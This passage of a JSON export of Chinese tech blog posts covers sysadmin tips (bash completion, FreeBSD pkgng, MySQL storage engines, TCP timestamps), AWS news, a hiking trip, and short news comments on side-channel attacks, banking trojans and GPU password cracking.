機制的話就跟原來沒差了 :p\r\n\r\n預設吃 port 60000-61000 其中的一個 UDP port，所以記得開 firewall...",
    "title": "把 SSH 換成 Mosh"
  },
  {
    "id": "3006",
    "body": "找了找資料，發現用 <code>apt-get install retext</code> 直接裝 <a href=\"http://sourceforge.net/p/retext/home/ReText/\">ReText</a> 就可以了，開起來以後選 Live preview 的功能就可以即時看結果了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pYJKi.webp\" /><img src=\"https://i.gslin.com/imgur/pYJKi.jpg\" alt=\"\" /></picture>\r\n\r\n官方的 screenshot：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LO1Zk.webp\" /><img src=\"https://i.gslin.com/imgur/LO1Zk.jpg\" alt=\"\" /></picture>\r\n\r\n除了支援 <a href=\"http://daringfireball.net/projects/markdown/\">Markdown</a> 以外，還支援 <a href=\"http://docutils.sourceforge.net/rst.html\">reStructuredText</a>。\r\n\r\nPS：Markdown 語法可以參考中文版文件：「<a href=\"http://markdown.tw/\">Markdown 語法說明</a>」。",
    "title": "在 Ubuntu 下即時編輯 Markdown 語法：ReText"
  },
  {
    "id": "3008",
    "body": "<a href=\"http://www.gnu.org/software/bash/\">bash</a> 的 auto completion 預設只吃 <code>.ssh/known_hosts</code> 的內容，而我想讓他加上 yp 的 hosts，查了一下發現這篇 2008 年的文章：「<a href=\"http://geekozoid.blogspot.com/2008/06/auto-complete-hostnames-with-using-bash.html\">Auto-complete hostnames with using bash</a>」。\r\n\r\n因為我的 yp 已經進了 <a href=\"http://git-scm.com/\">Git</a>，所以我就這樣設就好：\r\n<blockquote><code>export HOSTFILE=\"$HOME/git/kkyp/hosts\"</code></blockquote>",
    "title": "bash auto completion 下增加 hostname..."
  },
  {
    "id": "3009",
    "body": "最早用 <a href=\"http://www.mozilla.org/firefox/\">Firefox</a> 的時候 cookie 都是設成 Keep until I close Firefox，然後再把需要 login cookie 的網站設為白名單。\r\n\r\n比較早的 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 沒有內建這個功能，必須透過 <a href=\"https://chrome.google.com/webstore/detail/vanilla-cookie-manager/gieohaicffldbmiilohhggbidhephnjj\">Vanilla Cookie Manager</a> 設定每次啟動時清掉...\r\n\r\n前陣子發現 Google Chrome 內建這個功能了，很開心的把 Vanilla Cookie Manager 移除掉，改用內建的功能做，結果發現 <a href=\"https://www.google.com/\">Google</a> 系列的服務 (像是 <a href=\"https://www.google.com/reader/\">Google Reader</a> 與 <a href=\"https://mail.google.com/\">Gmail</a>) 常常被登出，而維基百科左側的展開偏好也會被 reset，其他的網站到是還算正常...\r\n\r\n花了些時間看，找不到原因，只好換回 Vanilla Cookie Manager...",
    "title": "Google Chrome 上的 Cookie 隱私機制..."
  },
  {
    "id": "3011",
    "body": "之前在 <a href=\"http://aws.amazon.com/vpc/\">AWS VPC</a> (Virtual Private Cloud) 能開的最小台機器是 m1.small，而 <a href=\"http://aws.amazon.com/\">AWS</a> 總算是宣佈可以在 VPC 裡開更小台的 t1.micro 了：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2012/10/18/Amazon-VPC-now-Supports-Micro-Instances/\">Amazon VPC now Supports Micro Instances</a>」、「<a href=\"http://aws.typepad.com/aws/2012/10/launch-ec2-micro-instances-in-a-virtual-private-cloud.html\">Launch EC2 Micro Instances in a Virtual Private Cloud</a>」。\r\n\r\n剛好可以拿來當 VPC 的 NAT server 來用...",
    "title": "可以在 AWS VPC 內開 Micro Instance 了..."
  },
  {
    "id": "3013",
    "body": "好像隔一陣子就會有人成功 XD\r\n\r\n<a href=\"https://zh.wikipedia.org/wiki/SCIgen\">SCIgen</a> 可以生出 CS 領域的論文，而這次則是 <a href=\"http://thatsmathematics.com/mathgen/\">Mathgen</a> 產生數學領域的論文 XD：「<a href=\"http://science.slashdot.org/story/12/10/19/1256216/randomly-generated-math-article-accepted-by-open-access-journal\">Randomly Generated Math Article Accepted By 'Open-Access' Journal</a>」。\r\n\r\n論文的 PDF 則是在這：「<a href=\"http://thatsmathematics.com/blog/wp-content/uploads/2012/09/mathgen-1389529747.pdf\">Independent, Negative, Canonically Turing Arrows of Equations and Problems in Applied Formal PDE</a>」。",
    "title": "用程式產生論文，這次是數學領域..."
  },
  {
    "id": "3014",
    "body": "<a href=\"http://wiki.freebsd.org/pkgng\">pkgng</a> 是 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 下一代的 package 管理系統，試著改善十幾年的 package 系統。\r\n\r\n對於 package 本身：\r\n<ul>\r\n\t<li>Package 支援 <a href=\"http://tukaani.org/xz/\">xz</a> 格式 (這也是預設值)，也支援原來的 <a href=\"http://www.gzip.org/\">gzip</a> 與 <a href=\"http://www.bzip.org/\">bzip2</a>，壓縮率比以前高很多。</li>\r\n\t<li>設定檔改用 YAML，並且增加了許多功能。這使得「手寫」package 檔案變簡單。</li>\r\n</ul>\r\n對於 pkgng 的管理來說：\r\n<ul>\r\n\t<li>本來的 <code>/var/db/pkg</code> 改用 <a href=\"http://www.sqlite.org/\">SQLite</a> 管理，metadata 加上 index 後很多查詢的效率變好，而且也可以預期之後的工具應該會善用 trigger 連動，對於開發管理工具也會變方便。</li>\r\n\t<li>pkgng 內建的 pkg 指令就有各種工具可以用，包括 upgrade 自訂自己的 PACKAGESITE。</li>\r\n</ul>\r\n目前還有不少工具在發展，不過常用的 <a href=\"http://portmaster.github.com/\">portmaster</a> 已經可以在 compile 時勾選測試了，就拿來測看看。\r\n\r\n要注意的是，pkg 1.x 之間不保證穩定性 (相容性)：\r\n<blockquote>Any package metadata changes are allowed, so long as it is always possible to upgrade from pkg-1.x to pkg-1.x+1. Best efforts should be made to ensure compatibility is maintained as far as possible.</blockquote>\r\n看起來還不適合上 production，不過以目前 1.x 可以先測試了...",
    "title": "FreeBSD 上試用 pkgng (下一代的 package 管理系統)..."
  },
  {
    "id": "3015",
    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 在 <a href=\"http://www.juniper.net/us/en/products-services/security/srx-series/\">Juniper SRX</a> 後面透過 NAT 連 <a href=\"http://www.plurk.com/\">Plurk</a> 會很慢，因為會 TCP three-way handshake 建不起來 (timeout)，找了半天居然是 <a href=\"http://www.ietf.org/rfc/rfc1323.txt\">RFC1323</a> 的問題...\r\n\r\n方法是在 <code>/etc/sysctl.conf</code> 內關掉 TCP Timestamps：(桌機就隨便關了 ~_~)\r\n<blockquote><code>net.ipv4.tcp_timestamps=0</code></blockquote>\r\n然後 sysctl -p 生效。\r\n\r\n參考：「<a href=\"http://www.mobile01.com/topicdetail.php?f=507&t=2539704\">解決XP下50M頻寬使用rfc1323.reg造成的網頁(噗浪)延遲</a>」。",
    "title": "Ubuntu 躲在 Juniper SRX 後面 NAT 連 Plurk 很慢的問題..."
  },
  {
    "id": "3016",
    "body": "目前 <a href=\"http://www.ptt.cc/\">Ptt</a> 上使用者用的編碼不是單純的 <a href=\"https://zh.wikipedia.org/wiki/%E5%A4%A7%E4%BA%94%E7%A2%BC\">BIG5</a>，而是 BIG5 加上 <a href=\"https://zh.wikipedia.org/wiki/Unicode%E8%A3%9C%E5%AE%8C%E8%A8%88%E7%95%AB\">Unicode 補完計畫</a>的版本 (拿了 BIG5 的造字區去對應某些常用的缺字)。\r\n\r\n如果用 BIG5 去看假名就會變這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QO5uH.webp\" /><img src=\"https://i.gslin.com/imgur/QO5uH.jpg\" alt=\"\" /></picture>\r\n\r\n所以在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> (系統內建的 Terminal) 或是 <a href=\"http://www.apple.com/osx/\">Mac OS X</a> (用 <a href=\"http://www.iterm2.com/\">iTerm2</a>) 上 Ptt (以及 <a href=\"telnet://ptt2.cc/\">Ptt2</a>) 時都是用 <a href=\"https://zh.wikipedia.org/wiki/%E9%A6%99%E6%B8%AF%E5%A2%9E%E8%A3%9C%E5%AD%97%E7%AC%A6%E9%9B%86\">BIG5-HKSCS</a> 編碼，可以顯示日文假名：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LZKYE.webp\" /><img src=\"https://i.gslin.com/imgur/LZKYE.jpg\" alt=\"\" /></picture>\r\n\r\n不過還是可以看出來漢字不太行，所以還是去找了 UAO 的方案...\r\n\r\n第一個想法是直接換掉系統的 BIG5，反正只剩下 BBS 用途要用了，就一次換掉。不過找了半天沒看到現成的工具，雖然在「<a href=\"http://moztw.org/docs/big5/\">Mozilla 系列與 Big5 中文字碼</a>」有表可以轉，但還是懶的改...\r\n\r\n另外一個是 <a href=\"http://www.gnu.org/software/screen/\">GNU Screen</a> patch，依照「<a href=\"http://electronic-blue.wikidot.com/doc:screen-uao\">Screen + Unicode-At-On</a>」這篇的方式，可以生出一個 UTF-8 terminal + converter (GNU Screen)，效果就是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YIS35.webp\" /><img src=\"https://i.gslin.com/imgur/YIS35.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到漢字也出現了... 來找看看要怎麼把 patch 包進 FreeBSD ports 好了...",
    "title": "把 screen 的 BIG5 換成 UAO (Unicode-At-On，Unicode 補完計畫) 版本..."
  },
  {
    "id": "3018",
    "body": "今天 <a href=\"http://mopcon.org/\">MOPCON</a> 的投影片，題目「<a href=\"https://speakerdeck.com/gslin/api-design-optimized-for-mobile-platform\">API Design Optimized for Mobile Platform</a>」：\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"508c6d1465729a0002003768\" data-ratio=\"1.3333333333333333\" src=\"//speakerdeck.com/assets/embed.js\"></script>",
    "title": "MOPCON 投影片：API Design Optimized for Mobile Platform"
  },
  {
    "id": "3021",
    "body": "週日一時興起，想起已經很久沒去爬山健行，就在 <a href=\"http://www.ptt.cc/bbs/Nangang/index.html\">Ptt 南港板</a>上翻翻資料，後來在台北市政府網站上翻到「<a href=\"http://www.ed.taipei.gov.tw/cgi-bin/SM_theme?page=483a68da\">更寮古道親山步道</a>」這條看起來不算長的親山步道，早上八點多把東西收一收就跑去爬了。走過一次後發現還有不少支線沒走到，有機會再去補進度...\r\n\r\n一開始是從南港展覽館坐車坐到舊庄派出所 (舊庄站)，下車後可以看到親山步道的指示牌，基本上沿著指示牌走不會走錯地方。\r\n\r\n比較有趣的是，依照市政府網站上的介紹，入山口是在舊庄街二段 122 巷 (如圖)，我在門牌前面狐疑了老半天，這看起來就是往民宅啊，走進去還有狗對我叫 XDDD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/8152317887\"><img src=\"http://farm9.staticflickr.com/8203/8152317887_c823f7ca9c_z.jpg\" alt=\"\" /></a>\r\n\r\n硬著頭皮進去後看到有石階可以往上走，地面上可以看到起點標示：(確定沒走錯 XDDD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/8152319337\"><img src=\"http://farm9.staticflickr.com/8063/8152319337_686a4c6d6b_z.jpg\" alt=\"\" /></a>\r\n\r\n因為沒有走到頂，而且樹林還蠻密的，沒看到什麼有趣的風景... 加上幹了不少蠢事，其實還蠻累的 XD\r\n\r\n下次不帶平常用的包包去了 (裡面放著一台 <a href=\"http://www.apple.com/macbookair/\">MBA</a> + <a href=\"http://www.apple.com/ipad/\">iPad</a> 以及變壓器)，之後要爬的話弄個空包包，裡面放水就好... 然後山上 3G 收訊不好，<a href=\"http://instagram.com/\">Instagram</a> 傳不上去救回家傳吧。\r\n\r\n真的是太久沒運動了，肌肉開始抗議... :/",
    "title": "更寮古道健行..."
  },
  {
    "id": "3023",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 預設的 compiler (<code>/usr/bin/cc</code>、<code>/usr/bin/c++</code> 與 <code>/usr/bin/cpp</code>) 從 <a href=\"http://gcc.gnu.org/gcc-4.2/\">GCC 4.2.1</a> 換成 <a href=\"http://clang.llvm.org/\">clang</a> 了：「<a href=\"http://svnweb.freebsd.org/base?view=revision&amp;revision=242624\">Revision 242624</a>」。\r\n\r\n目前只有 CURRENT 裡的 amd64 與 i386 版本換過去，如此一來，FreeBSD 10.0 會是第一個使用 clang 作為預設編輯器的正式版本 (看起來不像會 back port 回 FreeBSD 9)。接下來是 Ports 大混戰了，應該會有一卡車的 ports 用 <code>USE_GCC=yes</code> 來解？\r\n\r\n從 2009 年的努力到現在三年多了 (參考「<a href=\"http://lists.freebsd.org/pipermail/freebsd-current/2009-February/003743.html\">[ANNOUNCE]: clang/llvm can compile booting FreeBSD kernel on i386/amd64</a>」這封公告信)，離拔掉 GCC 4.2.1 又進了一大步...",
    "title": "FreeBSD 預設的 compiler 從 GCC 換成 clang"
  },
  {
    "id": "3024",
    "body": "在「<a href=\"http://threatpost.com/en_us/blogs/google-implements-do-not-track-chrome-23-110712\">Google Implements Do Not Track in Chrome 23</a>」這邊被提醒 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 23 支援 <a href=\"https://en.wikipedia.org/wiki/Do_Not_Track\">DNT</a>，到設定頁裡把「顯示進階設定...」展開，然後把『將「不追蹤」要求與瀏覽流量一併送出』勾起來就可以了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T1XQ7.webp\" /><img src=\"https://i.gslin.com/imgur/T1XQ7.jpg\" alt=\"\" /></picture>\r\n\r\n開發工具可以看到送出要求時會帶 <code>DNT: 1</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2vSO4.webp\" /><img src=\"https://i.gslin.com/imgur/2vSO4.jpg\" alt=\"\" /></picture>",
    "title": "Google Chrome 23 內建 DNT 設定了..."
  },
  {
    "id": "3025",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 在澳洲雪梨開台：「<a href=\"http://aws.typepad.com/aws/2012/11/asia-pacific-sydney-region-open.html\">New Asia Pacific (Sydney) Region in Australia - EC2, DynamoDB, S3, and Much More</a>」，成為目前 AWS 南半球第二個服務區域 (第一個是巴西聖保羅)。\r\n\r\n幾乎所有主要服務都開台了... 連 <a href=\"http://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 都開 :p\r\n\r\n其中兩個主要服務，<a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的費用與新加坡相同，網路流量部分是亞洲區裡面偏貴的。而 <a href=\"http://aws.amazon.com/s3/\">S3</a> 空間費用跟加州一樣貴... 不過講這麼多，用的到的人應該還是會用，畢竟光的速度還是有極限的，建在本地總是有優勢...\r\n\r\n接下來會開在俄羅斯嗎？XD",
    "title": "AWS 澳洲開台！"
  },
  {
    "id": "3028",
    "body": "昨天 <a href=\"http://wordpress.com/\">WordPress.com</a> 宣布支援使用 <a href=\"http://bitcoin.org/\">Bitcoin</a> 購買服務。印象中這應該是第一個大型商業網站支援 Bitcoin 付款：「<a href=\"http://en.blog.wordpress.com/2012/11/15/pay-another-way-bitcoin/\">Pay Another Way: Bitcoin</a>」。\r\n\r\nWordPress.com 是跟 <a href=\"https://bitpay.com/\">BitPay</a> 合作，實際上會依照匯率收到美金，不太需要承擔 Bitcoin 匯率不穩的問題。即使如此，這也是很大的進展... 第一步是有兌換商願意出來收 Bitcoin 付美金，以及有商業公司願意使用這些服務。",
    "title": "WordPress.com 支援 Bitcoin..."
  },
  {
    "id": "3029",
    "body": "捷運上被 <a href=\"http://www.zite.com/\">Zite</a> 推薦才發現 JavaScript 出新版了 XDDD：「<a href=\"http://blog.jquery.com/2012/11/13/jquery-1-8-3-released/\">jQuery Blog  &raquo; jQuery 1.8.3 Released</a>」，已經可以在 <a href=\"https://developers.google.com/speed/libraries/devguide\">Google Hosted Libraries</a> 上抓到了：<a href=\"https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js\">ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js</a>。\r\n\r\n看 Changelog 主要是修 bug，其他沒什麼改變...",
    "title": "原來 jQuery 1.8.3 出了..."
  },
  {
    "id": "3030",
    "body": "在「<a href=\"http://mysqlblog.fivefarmers.com/2012/11/15/innodb-now-works-with-read-only-media/\">InnoDB now works with read-only media</a>」這邊看到 <a href=\"http://dev.mysql.com/\">MySQL</a> 從 5.6.7 開始，可以在唯讀狀態掛起 <a href=\"http://www.innodb.com/\">InnoDB</a> 資料：「<a href=\"http://dev.mysql.com/doc/refman/5.6/en/innodb-read-only-instance.html\">14.2.6.1. Support for Read-Only Media</a>」。\r\n\r\n這對 recovery 相當方便，尤其是人為失誤 (人為下錯指令 TRUNCATE 或是 DROP TABLE) 時可以馬上從 read-only snapshot 掛一份起來複製資料。",
    "title": "MySQL 5.6 可以唯讀狀態掛起 InnoDB 資料了..."
  },
  {
    "id": "3031",
    "body": "前陣子在其他地方看到，不過剛剛在「<a href=\"http://www.schneier.com/blog/archives/2012/11/stealing_vm_key.html\">Stealing VM Keys from the Hardware Cache</a>」看到利用 Side-channel attack 的攻擊：「<a href=\"http://www.cs.unc.edu/~reiter/papers/2012/CCS.pdf\">Cross-VM Side Channels and Their Use to Extract Private Keys</a>」。\r\n\r\n實際攻擊的項目是 <a href=\"http://www.gnu.org/software/libgcrypt/\">libgcrypt</a> 實做的 <a href=\"https://en.wikipedia.org/wiki/ElGamal_encryption\">ElGamal</a> 演算法，長度是 4096bits。環境是 <a href=\"http://www.xen.org/\">Xen</a>，限制是在同一台實體機器上。\r\n\r\n對抗 side-channel attack 的幾個方法：實體隔離 (效果最好) 或是改善演算法 (通常是犧牲一些演算法效率，換取難以被外部預測的保護)。前者也就是 <a href=\"http://aws.amazon.com/\">AWS</a> 為了符合美國政府要求所建立 <a href=\"http://aws.amazon.com/govcloud-us/\">AWS GovCloud (US)</a> 的原因之一。",
    "title": "虛擬機內的 Side-channel attack..."
  },
  {
    "id": "3034",
    "body": "標題所提到的兩個 engine 是在 <a href=\"http://dev.mysql.com/\">MySQL</a> 中最常用到的兩個 engine。其中 <a href=\"http://dev.mysql.com/doc/refman/5.5/en/myisam-storage-engine.html\">MyISAM</a> 是在 MySQL 5.1 之前的 default engine，<a href=\"http://www.innodb.com/\">InnoDB</a> 則是 MySQL 5.5 之後的 default engine。\r\n\r\n這篇主要是講 MySQL 5.1 + <a href=\"http://www.innodb.com/products/innodb_plugin\">InnoDB Plugin</a>，或是 MySQL 5.5 後的情況。\r\n\r\nMyISAM 是 <a href=\"http://dev.mysql.com/doc/refman/5.5/en/internal-locking.html\">Table-level lock</a>，當有寫入時其他人無法讀取 (有少數例外，像是 <a href=\"http://dev.mysql.com/doc/refman/5.5/en/optimizing-myisam-bulk-data-loading.html\">bulk insert</a>)。而 InnoDB 設計成 <a href=\"http://dev.mysql.com/doc/refman/5.5/en/innodb-lock-modes.html\">Row-level lock</a>，在寫入時有很大機會還是可以讀取。\r\n\r\n另外，InnoDB 支援 <a href=\"https://zh.wikipedia.org/wiki/ACID\">ACID</a> transaction，對於學過資料庫理論的人 (像是科班出身) 會覺得比較「親切」，比起 MyISAM 有很多東西可以用。\r\n\r\n大多數不換 InnoDB 有幾個原因：\r\n\r\n<h2>InnoDB 佔用的空間比較大</h2>\r\n\r\n最常見的原因是認為 InnoDB 相對 MyISAM 所佔用的空間會大不少 (看過三倍大的)：但在 InnoDB 自從推出壓縮功能後就接近很多 (看過只大 20% 的，甚至有可能比 MyISAM 小)。而資料量的問題可以參考 <a href=\"http://www.mobile01.com/\">Mobile01</a> 的 55GB (<a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=2982822&amp;p=6#39009346\">2012 年 10 月 uid=1 的蔣大在 Mobile01 上揭露的數字</a>)。\r\n\r\n當網站夠大時，記憶體與用 15KRPM SAS 硬碟加上 RAID1+0 的一次性成本其實不高。\r\n\r\n<h2>InnoDB 不好備份</h2>\r\n\r\n第二個常見的原因是認為 MyISAM 備份比較容易，直接 copy 就可以備份：這種備份方式其實有很高的風險造成 inconsistent backup (「備份的資料損毀」)。以交易的例子來說，有 auction 與 user 兩個表格，按照字母順序先複製了 auction 表格，再複製 user 表格，中間使用者用點數購買了某個物品 (扣 user 表格裡的點數，在 auction 裡建立一筆資料)。這份備份裡就會備份到「user 內的點數扣掉，但 auction 沒有資料」的情況。\r\n\r\n比較好的方式是用 InnoDB 提供的 transaction 建立 consistent backup，備份時長時間讀取不會像 MyISAM 無法寫入。另外一種方式是建立 backup 專用的 slave，要備份時可以整台 slave 停掉備份 (還有像是 filesystem snapshot 之類的方式，這邊跳過)。\r\n\r\n<h2>書上寫 MyISAM 效能比較好...</h2>\r\n\r\n是的，不過這個前提是「如果你只有讀取」。\r\n\r\nMyISAM 讀取效能比較好並不是指 MyISAM query 一次 &lt;1ms 時 InnoDB query 一次就要 100ms 這種程度。兩個都還是在 &lt;1ms，只是當你用到「效率不好的 query」時，MyISAM 在 Table scan 的效能會比 InnoDB 好。\r\n\r\n但當網站變大遇到 MyISAM + table scan 時就完蛋了：一個 query 卡 1 秒就代表網站上寫入時遇到這個 query 時最少要卡一秒，InnoDB 反而能救你。(雖然這不是好的方向。好的方向應該是想辦法解決 Table scan 的問題，可能是改 query，也有可能是增加 index 或修改 index)\r\n\r\n也因為以上的特性，當使用 InnoDB 時，可以這樣設計：\r\n\r\n<h2>只對時間敏感 Query 加上 Index</h2>\r\n\r\n以前用 MyISAM 時為了避免跑報表會造成其他線上服務的 query 卡住，如果用 InnoDB 因為不會卡，報表的 query 沒有 index 而 table scan 也是可以接受的。\r\n\r\n<h2>有嚴格資料正確性需求的 Query 使用 Transaction</h2>\r\n\r\n像是金流相關系統，一筆購買紀錄可能要修改好幾個表格。用 MyISAM 時必須對好幾個表格使用 TABLE LOCK (仍然有 atomic 問題)，現在可以用 transaction 解決。\r\n\r\n<h2>資料庫正規化</h2>\r\n\r\n有可能會因為 MyISAM 卡 query 的問題而設計出非正規化的 schema。用 InnoDB 可能可以正規化，用適當的設備成本 (像是適當使用 JOIN) 降低人力維護成本。",
    "title": "MySQL 中，MyISAM 與 InnoDB 帶來的差異..."
  },
  {
    "id": "3035",
    "body": "雪梨也是同樣降幅，而且最高的 &gt;5000TB 沒降，應該是因為 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 辦這麼大，總是要有些東西看起來很炫？\r\n\r\n降價範圍除了 Standard Storage 以外也包括 Reduced Redundancy Storage，降幅很大，從 24% 到 28% (約 1/4)：「<a href=\"http://aws.typepad.com/aws/2012/11/amazon-s3-price-reduction-december-1-2012.html\">Amazon S3 Storage Price Reduction (24 to 28%)</a>」。\r\n\r\n其他幾個對手壓力很大啊 XD",
    "title": "AWS 的儲存空間降價 (S3 與 EBS)"
  },
  {
    "id": "3037",
    "body": "在「<a href=\"http://www.df7cb.de/blog/2012/apt.postgresql.org.html\">apt.postgresql.org</a>」這篇文章裡看到 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 宣佈官方 apt repository 的正式公告：「<a href=\"http://archives.postgresql.org/pgsql-announce/2012-12/msg00008.php\">PGDG apt repository for Debian/Ubuntu</a>」。\r\n\r\n目前支援的 OS 包括了：\r\n<ul>\r\n\t<li><a href=\"http://www.debian.org/\">Debian</a> 6.0 (squeeze)、7.0 (wheezy) 與 unstable (sid)</li>\r\n\t<li><a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 (precise)</li>\r\n</ul>\r\n其中 Ubuntu 10.04 (lucid) 還正在進行。而 PostgreSQL 的版本從 8.3 到 9.2 (包括了 8.{3,4} 以及 9.{0,1,2} 這五個版本) 都支援。\r\n\r\n比較特別的是居然支援 unstable，大概是因為自己要用？\r\n\r\n來測試看看好了...",
    "title": "PostgreSQL 提供 apt 可以用了..."
  },
  {
    "id": "3038",
    "body": "在「<a href=\"http://blog.james.rcpt.to/2012/12/06/official-debian-images-on-amazon-web-services-ec2/\">Official Debian Images on Amazon Web Services EC2</a>」看到 <a href=\"http://www.debian.org/\">Debian</a> 官方放出了 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 的 AMI：「<a href=\"http://wiki.debian.org/Cloud/AmazonEC2Image\">Cloud/AmazonEC2Image - Debian Wiki</a>」。\r\n\r\n之前幾乎都是靠 <a href=\"http://alestic.com/\">alestic</a> 製作的版本，現在則是官方直接支援了... 在頁面上除了有連結指到 Debian 官方的版本外 (在 AWS Marketplace 上)，另外還列出了其他個人與團體製作的版本。\r\n\r\n之後如果要用 Debian 可以選這些 AMI 來用...",
    "title": "Debian 官方維護的 AWS EC2 Image..."
  },
  {
    "id": "3040",
    "body": "前陣子升了 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上的 <a href=\"http://bash-completion.alioth.debian.org/\">bash-completion</a> 之後發現就失效了，翻了紀錄才發現是檔案從 <code>/usr/local/etc/bash_completion</code> 換到 <code>/usr/local/share/bash-completion/bash-completion</code>，所以引用的路徑要改...\r\n\r\n過了一個月沒有 hostname auto completion 的日子...",
    "title": "更新 bash-completion 的位置..."
  },
  {
    "id": "3041",
    "body": "在「<a href=\"http://hackaday.com/2012/12/09/160-mac-minis-one-rack/\">160 Mac Minis, One Rack</a>」這邊看到的，看照片應該不是 42U 機櫃，而是 47U 的？仍然是很誇張的數字 XD\r\n\r\n<img src=\"https://i.gslin.com/imgur/C2XuN.jpg\" alt=\"\" />\r\n\r\n電源線是客製化一轉四，另外前面放了四個大風扇散熱... 這樣看起來很專業啊 XDDD",
    "title": "一個機櫃塞 160 台 Mac Mini..."
  },
  {
    "id": "3042",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://darling.dolezel.info/\">Darling</a> 計畫，想要在 <a href=\"http://www.linux.org/\">Linux</a> 上跑 <a href=\"http://www.apple.com/osx/\">Mac OS X</a> 的程式，類似 <a href=\"http://www.winehq.org/\">Wine</a> 在 Linux 上跑 <a href=\"http://windows.microsoft.com/\">Windows</a> 程式：「<a href=\"http://apple.slashdot.org/story/12/12/08/2330225/darling-run-apple-os-x-binaries-on-linux\">Darling: Run Apple OS X Binaries On Linux</a>」。\r\n\r\n看起來還在早期階段，貢獻者也不多？\r\n\r\n不過，有什麼程式是在 <a href=\"http://www.apple.com/mac/\">Mac</a> 上 (而且沒有 Windows 版) 但想在 Linux 上跑的...？",
    "title": "在 Linux 上跑 Mac 應用程式..."
  },
  {
    "id": "3043",
    "body": "不多說，參考「<a href=\"http://blog.tedx.com/post/37405280671/a-letter-to-the-tedx-community-on-tedx-and-bad-science\">TEDx &mdash; A letter to the TEDx community on TEDx and bad science</a>」這篇的說明。\r\n\r\n起因是 <a href=\"http://www.reddit.com/\">Reddit</a> 的「<a href=\"http://www.reddit.com/r/tedtalks/comments/1443ke/the_ted_name_is_being_dragged_through_the_mud_in/\">The TED name is being dragged through the mud in Valencia, Spain, where a TEDx-approved event is promoting pseudoscientific stuff like (and I quote): crystal therapy, Egyptian psychoaromatherapy, healing through the Earth, homeopathy and even \"basic mind control\".</a>」。\r\n\r\n另外可以參考<a href=\"http://www.richyli.com/\">李怡志</a>整理翻譯的「<a href=\"http://www.richyli.com/column/sect/sekt_checklist.htm\">邪教檢查表</a>」。",
    "title": "TEDx 出包..."
  },
  {
    "id": "3044",
    "body": "如標題的問題，因為 token 可以將 secret key 實體隔離開。\r\n\r\n可以讀看看最近這篇報導：「<a href=\"http://threatpost.com/en_us/blogs/zitmo-trojan-variant-eurograbber-beats-two-factor-authentication-steal-millions-120612\">Zitmo Trojan Variant Eurograbber Beats Two-Factor Authentication to Steal Millions</a>」，其中這段：\r\n<blockquote>To date, the researchers said, Eurograbber has infected more than 30,000 users and stolen an estimated 36 million Euros.</blockquote>\r\n對於開發木馬的人，銀行服務算是「經濟效益」最高的「投資」...\r\n\r\n<img src=\"https://i.gslin.com/imgur/UepDs.jpg\" alt=\"\" />\r\n\r\n用簡訊也有類似的問題，實體的 OTP 算是目前最能抵抗這類攻擊的方式了...",
    "title": "為什麼有了 Google Authenticator 還要使用實體的 Two-Factor Token？"
  },
  {
    "id": "3047",
    "body": "敘利亞反政府組織的自製坦克使用 PlayStation 控制器操作砲管：「<a href=\"http://games.slashdot.org/story/12/12/10/143215/playstation-controller-runs-syrian-rebel-tank\">Playstation Controller Runs Syrian Rebel Tank</a>」，原始新聞連結以及圖片來源是「<a href=\"http://www.france24.com/en/20121209-sham-ii-new-fighting-machine-syria-rebels\">Sham II: New fighting machine of Syria rebels</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/uZVsr.jpg\" alt=\"\" />\r\n\r\n看這畫面好像不... 差...？(超土砲 XD)",
    "title": "敘利亞反政府組織的自製坦克使用 PlayStation 控制器操作砲管..."
  },
  {
    "id": "3048",
    "body": "<a href=\"https://zh.wikipedia.org/wiki/MD5\">MD5</a>、<a href=\"https://zh.wikipedia.org/wiki/SHA-1\">SHA-1</a> 或是前陣子通過的 <a href=\"https://zh.wikipedia.org/wiki/SHA-3\">SHA-3</a>，都不是設計用來單向儲存密碼用的。<a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a> 或是 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a> 比較接近這個需求。\r\n\r\n針對使用 <a href=\"https://en.wikipedia.org/wiki/Cryptographic_hash_function\">Cryptographic hash function</a> 儲存密碼的行為，除了可以用 <a href=\"https://en.wikipedia.org/wiki/Rainbow_table\">Rainbow table</a> 攻擊外，最近流行使用 GPU 加速暴力運算...\r\n\r\n前幾天看到的 cluster 相當威猛，可以在 5.5 小時內計算出「所有 8 個字元的組合」(<a href=\"https://en.wikipedia.org/wiki/NTLM\">NTLM</a>)：「<a href=\"http://arstechnica.com/security/2012/12/25-gpu-cluster-cracks-every-standard-windows-password-in-6-hours/\">25-GPU cluster cracks every standard Windows password in &lt;6 